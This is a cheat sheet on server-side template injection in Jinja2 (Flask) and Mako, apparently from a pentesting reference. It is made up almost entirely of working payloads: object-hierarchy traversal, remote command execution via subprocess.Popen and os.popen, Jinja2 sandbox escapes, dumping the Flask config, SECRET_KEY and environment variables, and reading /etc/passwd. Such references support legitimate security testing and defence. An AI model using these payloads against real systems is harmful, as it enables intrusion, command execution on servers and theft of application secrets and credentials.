Jinja2 SSTI (Python)
| CWE | CWE-1336 |
| Tools | tplmap |
| Difficulty | 🟡 intermediate |
Jinja2 (Python)​
Jinja2 is the default template engine for Flask and widely used in Python applications.
Exploitation methodology:
-
Access Python object hierarchy via MRO (Method Resolution Order):
{{ ''.__class__ }}
{{ ''.__class__.__base__ }}
{{ ''.__class__.__mro__ }}
{{ ''.__class__.__mro__[1].__subclasses__() }} -
Find useful subclasses. Target these classes:
subprocess.Popen(command execution)os._wrap_close(file operations)warnings.catch_warnings(has access to builtins)BuiltinImporter(importing modules)
Enumerate subclasses to find the target index:
{{ ''.__class__.__mro__[1].__subclasses__() }} -
RCE via subprocess.Popen (adjust INDEX based on enumeration):
{{ ''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate() }} -
RCE via os module through catch_warnings:
{{ ''.__class__.__mro__[1].__subclasses__()[IDX]()._module.__builtins__['__import__']('os').popen('id').read() }} -
Universal RCE (Python 3) -- dynamically finds the right class:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{ c.__init__.__globals__['__builtins__']['__import__']('os').popen('id').read() }}
{% endif %}
{% endfor %} -
Flask config and environment exposure:
{{ config.items() }}
{{ config['SECRET_KEY'] }}
{{ request.environ }}
{{ config.__class__.__init__.__globals__['os'].environ }} -
File read:
{{ ''.__class__.__mro__[1].__subclasses__()[IDX]('/etc/passwd').read() }}
Jinja2 sandbox escape techniques:
Via Jinja2 internal objects:
{{ joiner.__init__.__globals__ }}
{{ cycler.__init__.__globals__ }}
{{ lipsum.__globals__ }}
{{ namespace.__init__.__globals__ }}
Via Flask request object:
{{ request.__class__.__mro__[3].__subclasses__() }}
Via lipsum (commonly available):
{{ lipsum.__globals__['os'].popen('id').read() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
Mako (Python)​
Mako allows direct Python code execution, making exploitation straightforward.
Detection:
${self.module.__builtins__}
RCE:
<%
import os
x = os.popen('id').read()
%>${x}
One-liner RCE:
${__import__('os').popen('id').read()}